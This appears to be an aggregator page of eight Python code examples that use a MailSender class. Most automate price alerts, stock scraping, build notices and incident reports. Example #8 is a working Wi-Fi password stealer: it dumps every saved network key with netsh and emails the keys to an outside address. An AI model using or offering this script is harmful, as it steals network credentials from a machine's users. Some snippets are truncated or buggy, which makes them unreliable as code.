コード例 #1
0
        for amount in amounts:
            amounts[i] = dc.get_fund_amount(funds[i])
            i += 1
        i = 0
        for fund in funds:
            fund_price[i], result[i] = get_daily_result(funds[i], amounts[i])
            new_amount = float(amounts[i]) + float(result[i])
            amounts[i] = new_amount
            print('开始保存...')
            dc.update_data(funds[i], fund_price[i], amounts[i])
            i += 1
        finalresult = sum(result)
        print(time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(time.time())) + '合计:' + str(round(finalresult, 2)))
        if finalresult > 0:
            content = ("今日收涨,盈利%s元" % round((finalresult), 2)
        else:
            content=("今日收跌,亏损%s元" % round((-finalresult), 2))
        mailsender=MailSender(my_sender, my_pass, sender_name, receiver_addr, subject, content)
        if wechat_switch == 1:
            itchat.send((time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(time.time())) + content), 'filehelper')
            print(time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(time.time())) + '微信消息发送成功')
        else:
            print((time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(time.time()))) + '微信消息开关为关,仅发送邮件')
        mailsender.send_it()
        print(time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(time.time())) + '一天后重发')
        time.sleep(86400)
    else:
        print(time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(time.time())) + '当前为星期%s非交易日,六小时后重试' % (CurrentWeek))
        time.sleep(21600)
print(time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(time.time())) + '程序终止')
コード例 #2
0
print(
    time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(time.time())) +
    ' 程序运行中...')
while 1:
    price = price_getter.get_price()
    beginning_price = 265.74  # 265.74为购买价格
    percent = (
        (float(price) - float(beginning_price)) / float(beginning_price)) * 100
    print(
        time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(time.time())) +
        '数据获取成功:' + price + ',涨跌幅为' + str(round(percent, 3)) + '%' + '盈亏为' +
        str((round(percent, 3) * 75)))
    if price < 265:  # 黄金价格一旦低于265.5
        subject = 'Goldprice'
        content = '黄金的价格目前为%s,价格较低,可以买入' % (price)
        MS = MailSender(my_sender, my_pass, sender_name, receiver_addr,
                        subject, content)
        MS.send_it()
        time.sleep(7200)  # 两小时至多发一次
        # 微信发送消息至文件传输助手
        #       itchat.send((time.strftime('%Y-%m-%d%H:%M:%S',time.localtime(time.time()))+Content),'filehelper')
        MailSender(SenderName, ReceiverAddr, Subject, Content)
    if price > 280:  # 黄金价格一旦高于275
        Subject = 'Goldprice'
        Content = '黄金的价格目前为%s,价格较高,可以卖出' % (price)
        #       itchat.send((time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time()))+Content),'filehelper')
        MS = MailSender(my_sender, my_pass, sender_name, receiver_addr,
                        subject, content)
        MS.send_it()
        time.sleep(7200)  # 两小时至多发一次
    time.sleep(23)  # 每隔一定时间爬取一次黄金价格
print(('%Y-%m-%d %H:%M:%S', time.localtime(time.time())) + '程序终止')
コード例 #3
0
#!/usr/bin/python3
"""
Author: 孙浩然
Last modified: 2018/5/6
Description: Use python3 to get information from 4m3 and SSE and send it as E-mail
"""
from get_4m3_info import Get4m3Info
from get_sse_info import GetSSEInfo
from mail_sender import MailSender

if __name__ == '__main__':
    message = ''
    message += Get4m3Info().get_4m3_info()
    message += GetSSEInfo().get_sse_info()
    receivers = [
        ''
    ]  # add your own receivers E-mail address, multiple address available
    MailSender().send_mail(message=message, receiver=receivers)
コード例 #4
0
def init():
    existing_ticker = []
    init_result_csv()
    if os.path.exists(result_csv):
        existing_stock_list = pd.read_csv(result_csv)
        existing_ticker_series = existing_stock_list['stock_ticker']
        for t in existing_ticker_series:
            existing_ticker.append(t)
    for ticker in stocks:
        if isinstance(ticker, str) and ticker not in existing_ticker:
            logger.info('start fech data:')
            logger.info('ticker')
            logger.info(ticker)
            print('start fech data:')
            print('ticker')
            print(ticker)
            stock_ticker = []
            stock_name = []
            curr_price = []
            pred_low = []
            pred_avg = []
            pred_high = []
            num_analyst = []
            s_curr_price = get_curr_price(ticker)
            if not s_curr_price:
                continue
            data = get_target_price(ticker)
            if not data:
                continue
            [companyName, high, low, priceTarget, s_num_analyst] = data
            if s_num_analyst and priceTarget and low and high:
                curr_price.append(s_curr_price)
                pred_low.append(low)
                pred_high.append(high)
                num_analyst.append(s_num_analyst)
                pred_avg.append(priceTarget)
                stock_ticker.append(ticker)
                stock_name.append(companyName)
                info = companyName + ' created'
                logger.info(info)
                df = pd.DataFrame()
                df['stock_ticker'] = stock_ticker
                df['stock_name'] = stock_name
                df['curr_price'] = curr_price
                df['pred_low'] = pred_low
                df['pred_avg'] = pred_avg
                df['pred_high'] = pred_high
                df['# of Analyst'] = num_analyst
                df['% low/curr'] = [
                    get_gain(x, y) for x, y in zip(pred_low, curr_price)
                ]
                df['% avg/curr'] = [
                    get_gain(x, y) for x, y in zip(pred_avg, curr_price)
                ]
                df['% high/curr'] = [
                    get_gain(x, y) for x, y in zip(pred_high, curr_price)
                ]
                df.to_csv(result_csv, index=None, mode='a+', header=False)

    if os.path.exists(result_csv):
        attachment = result_csv
        content = 'ripranks'
        now = datetime.datetime.now()
        subject = 'tipranks result ' + now.strftime("%Y-%m-%d %H:%M:%S")
        mailsender = MailSender(my_sender, my_pass, sender_name, receiver_addr,
                                subject, content, attachment)
        mailsender.send_it()
コード例 #5
0
msg.set("incident(0).event_data(1).flow(0).system(0).node.address(0).address",
        "192.0.2.16")
msg.set("incident(0).event_data(1).flow(0).system(0).description",
        "Source de nombreux scan ce mois")
msg.set("incident(0).event_data(1).flow(1).system(0).category", "source")
msg.set("incident(0).event_data(1).flow(1).system(0).node.address(0).category",
        "ipv4-addr")
msg.set("incident(0).event_data(1).flow(1).system(0).node.address(0).address",
        "192.0.2.241")
msg.set("incident(0).event_data(1).flow(1).system(0).description",
        "Serveur IRC C2")
msg.set("incident(0).event_data(1).expectation.action", "block-host")

incident_file = 'incident-{0}-{1}-{2}.json'.format(
    str(report_time.date()),
    report_time.time().strftime('%Hh%Mm'), report_id)

with open(incident_file, 'w') as fd:
    fd.write(msg.toJSON())

mail_sender = MailSender('my.smtp.server', 42, '*****@*****.**')

subject = u"Rapport de sécurité"
message = u"""
Ceci est un mail automatique, merci de ne pas y répondre.

Vous trouverez ci-joint le dernier rapport d'incident de sécurité.
"""

mail_sender.send('*****@*****.**', subject, message, incident_file)
コード例 #6
0
import json
import os
import requests
import time
import sys
import configparser
from mail_sender import MailSender

# Jenkins工作空间目录
workspace = "C:\\Users\\Flyn\\.jenkins\\workspace\\Android App"
# Gradle编译完成生成apk所在的目录
apk_path = workspace + "\\app\\build\outputs\\apk"

mail_sender = MailSender()
configparser = configparser.ConfigParser()
configparser.read(os.path.dirname(os.path.realpath(__file__)) + '\\config.txt')
mail_sender.to_address = configparser.get("Info", "to_address").split(',')
mail_sender.from_address = configparser.get("Info", "from_address")
mail_sender.my_name = configparser.get("Info", "my_name")
mail_sender.password = configparser.get("Info", "password")
mail_sender.smtp_server = configparser.get("Info", "smtp_server")
mail_sender.smtp_server_port = configparser.get("Info", "smtp_server_port")

# 时间格式
date = time.strftime('%Y-%m-%d %H:%M', time.localtime(time.time()))

BRANCH = sys.argv[1]  # 参数
BUILD_TYPE = sys.argv[2]  # 创建类型
FLAVORS = sys.argv[3]  # 渠道

コード例 #7
0
import os

from crawler import CrawlerDouBan, CrawlerMaoYan
from mail_sender import MailSender
from apscheduler.schedulers.blocking import BlockingScheduler

# 配置日志
logging.config.fileConfig(os.path.join(sys.path[0], 'config.ini'))
logger = logging.getLogger('movie_nowplaying')

# 定时任务调度器
sched = BlockingScheduler()

crawler_douban = CrawlerDouBan('hefei')
crawler_maoyan = CrawlerMaoYan()
sender = MailSender()


@sched.scheduled_job('cron', minute='0', hour='8', day_of_week='fri')
def fun():
    contents = []
    movies_box_office = crawler_maoyan.crawl()

    for name, star, region, director, actors, link, release_date, summary, hot_comment in crawler_douban.crawl():
        if movies_box_office and name in movies_box_office:
            content = ('<{name}>\t豆瓣评分: {star}\n{release_days}\t累计票房: {box_office}\t排片占比: {schedule_rate}\n'
                       '上映时间: {release_date}\n地区: {region}\n导演: {director}\n主演: {actors}\n简介: {summary}\n'
                       '热门短评: \n{comments}').format(
                name=name, box_office=movies_box_office[name][0], release_date=release_date,
                release_days=movies_box_office[name][1], schedule_rate=movies_box_office[name][2],
                region=region, star=star, director=director, actors=actors, summary=summary,
コード例 #8
0
import subprocess

import chardet

from mail_sender import MailSender


def get_wifi_info():
    command = "netsh wlan show profile"
    networks = subprocess.check_output(command, shell=True)

    encoding = chardet.detect(networks)['encoding']
    networks_names_list = re.findall("(?:\\s:\\s)(.*)",
                                     networks.decode(encoding))
    result = ""
    for network_name in networks_names_list:
        command = "netsh wlan show profile " + network_name + " key=clear"
        current_result = subprocess.check_output(command, shell=True)
        result = result + current_result.decode(encoding)
    return result


login = "******"
psw = ""
subject = "Wi-Fi Report"
wifi_info = get_wifi_info()

mail_sender = MailSender("smtp.gmail.com", 587, login, psw, login, subject,
                         wifi_info)
mail_sender.sendmail()